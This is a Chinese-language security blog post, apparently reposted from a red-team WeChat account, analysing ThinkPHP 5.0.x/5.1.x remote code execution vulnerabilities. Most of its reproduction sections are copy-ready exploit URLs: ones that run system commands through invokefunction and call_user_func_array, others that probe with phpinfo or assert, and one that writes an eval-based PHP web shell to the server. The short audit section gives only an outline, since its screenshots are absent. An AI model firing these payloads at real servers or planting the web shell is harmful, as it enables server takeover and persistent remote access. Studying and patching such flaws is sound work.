前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >ThinkPHP框架漏洞解析

ThinkPHP框架漏洞解析

作者头像
红队蓝军
发布2024-08-13 17:50:32
740
发布2024-08-13 17:50:32
举报
文章被收录于专栏:红队蓝军

ThinkPHP 5.x 远程代码执行漏洞-01

简介

代码语言:javascript
复制
漏洞名称:ThinkPHP 5.0.x-5.1.x 远程代码执行漏洞
影响范围:ThinkPHP v5.0.5 < 5.0.23,ThinkPHP v5.1.0 < 5.1.31
威胁等级:严重
漏洞类型:远程代码执行

由于ThinkPHP v5框架对控制器名没有进行足够的安全检测,导致在没有开启强制路由的情况下,黑客构造特定的请求,可直接进行远程的代码执行,进而获得服务器权限。

复现

将TP框架的版本替换到对应的范围即可。这里用的是:5.1.22

ThinkPHP框架的版本可用通过:$Think.version 在页码输出

命令执行
代码语言:javascript
复制
http://域名/index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami
拿探针
代码语言:javascript
复制
http://www.tp.com/index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=-1
写shell
代码语言:javascript
复制
http://www.tp.com/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=shell.php&vars[1][]=%3C%3Fphp%20eval(%24_REQUEST%5B6%5D)%3B%3F%3E

这个需要URL编码

审计

借助xdebug对代码进行断点调试。主要是看这个代码在Thinkphp底层是怎么运行的,以及MVC实现的方式,只要掌握这个基本就能审计代码了。我们拿第一个命令执行来举例:主要审计如何执行到命令的 点断点:

跳出去继续:

然后就是无限进入函数内部,直到:

进去:仔细思考传参

ThinkPHP 5.1.x远程代码执行漏洞-02

简介

代码语言:javascript
复制
漏洞名称:ThinkPHP 5.1.x 远程代码执行漏洞
影响范围:ThinkPHP v5.1.0 < 5.1.31
威胁等级:严重
漏洞类型:远程代码执行

复现

命令执行
代码语言:javascript
复制
http://域名?s=index/\think\Request/input&filter=phpinfo&data=1
http://域名?s=index/\think\Request/input&filter=assert&data=phpinfo();
命令执行2
代码语言:javascript
复制
http://域名/?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=calc
本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2024-08-09,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 红队蓝军 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • ThinkPHP 5.x 远程代码执行漏洞-01
    • 简介
      • 复现
        • 命令执行
        • 拿探针
        • 写shell
      • 审计
      • ThinkPHP 5.1.x远程代码执行漏洞-02
        • 简介
          • 复现
            • 命令执行
            • 命令执行2
        领券
        问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档